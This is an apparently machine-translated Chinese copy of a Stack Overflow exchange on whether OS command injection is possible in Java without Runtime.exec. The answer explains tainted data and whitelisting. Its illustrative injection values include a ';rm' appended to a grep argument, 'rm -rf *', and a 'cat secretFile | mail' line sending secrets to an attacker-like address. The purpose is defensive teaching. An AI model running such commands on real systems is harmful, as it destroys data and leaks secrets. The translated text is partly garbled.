Java 在没有运行时api执行的情况下,操作系统命令注入是否可能?
根据我对操作系统(linux/windows)的理解,命令执行是可能的 仅当我在中使用任何字符串作为参数时 我的问题是,如果我没有使用任何请求参数(来自用户)或实际上Runtime.exec下的任何字符串,那么OS命令是否可以执行?我的回答是这不可能Java 在没有运行时api执行的情况下,操作系统命令注入是否可能?,java,security,owasp,Java,Security,Owasp,根据我对操作系统(linux/windows)的理解,命令执行是可能的 仅当我在中使用任何字符串作为参数时 我的问题是,如果我没有使用任何请求参数(来自用户)或实际上Runtime.exec下的任何字符串,那么OS命令是否可以执行?我的回答是这不可能 无论如何。最安全的事情总是避免调用system()或exec()——事实上,在某些组织中,如果你的应用程序通过了安全审查,你绝对不会通过 但是,正如您所暗示的,您可以采取措施使其安全。一个有用的概念是“受污染”的数据。用户或客户提供的一段数据受到污
无论如何。最安全的事情总是避免调用
system()
或exec()
——事实上,在某些组织中,如果你的应用程序通过了安全审查,你绝对不会通过
但是,正如您所暗示的,您可以采取措施使其安全。一个有用的概念是“受污染”的数据。用户或客户提供的一段数据受到污染。由受污染数据构建的一段数据也受污染。例如,您可以通过将*数据映射到白名单中的一组选项,或通过清除*数据来“卸载”
String name = request.getBody(); // tainted
String cmd = "grep " + name + " customers.txt"; // also tainted
String cleanName = sanitize(name); // untainted
String cleanerName = validNameMap.get(name); // untainted
String literal = "a literal string"; // untainted
您可以看到如果request.getBody()
返回slim
则grep slim customers.txt
是如何安全的。但是,如果用户提供的数据是slim customers.txt;rm
,则grep slim customers.txt;rm customers.txt
的cmd
结果是坏消息
sanitize()
可能会做一些事情,比如除去a-zA-Z以外的所有东西
<> P.>有很多的地方来消毒程序是幼稚的,而且不够彻底,这可能是一个攻击向量-所以白名单被认为更安全。
(有多种语言的工具可以分析代码,并在从不受信任的源派生的数据写入不安全的目标时向您发出警告:)
如果传递给exec()
的字符串未被污染,这是迈向安全的一步。但是,仍然有一些方法会造成危险。请考虑:
String command = "/usr/local/bin/myProgram";
String path = "/tmp/inputfile";
createNewFile(path, request.getBody());
runtime.exec(command, path);
现在,command
和path
都是未受污染的——它们不是由用户提供的——但是我们正在通过文件将获取的数据传递给myProgram
,而myProgram可能会对数据做一些危险的事情
最明显的例子是,如果命令是/bin/bash
,请求主体类似于rm-rf*
或cat secretFile | mailblackhat@naughtyhacker.com
但是有很多更微妙的方式,例如,myprogram
可能使用文件内容来构建SQL请求
您可以在不同的地方降低这些风险。您可以在将数据写入文件之前对数据进行清理,或者您可以在安全模型中明确说明文件内容已被污染,myprogram
必须将其视为污染,并自行清除污染。乍一看,您是正确的。但是,您执行的程序(即使使用非用户定义的参数启动)可能会处理用户数据,这些数据可能会触发程序中的漏洞,例如命令注入。@Robert同意。但主要问题是,要在java中执行OS命令注入,必须通过Runtime.exec执行该输入(字符串命令)
,没有其他方法吗?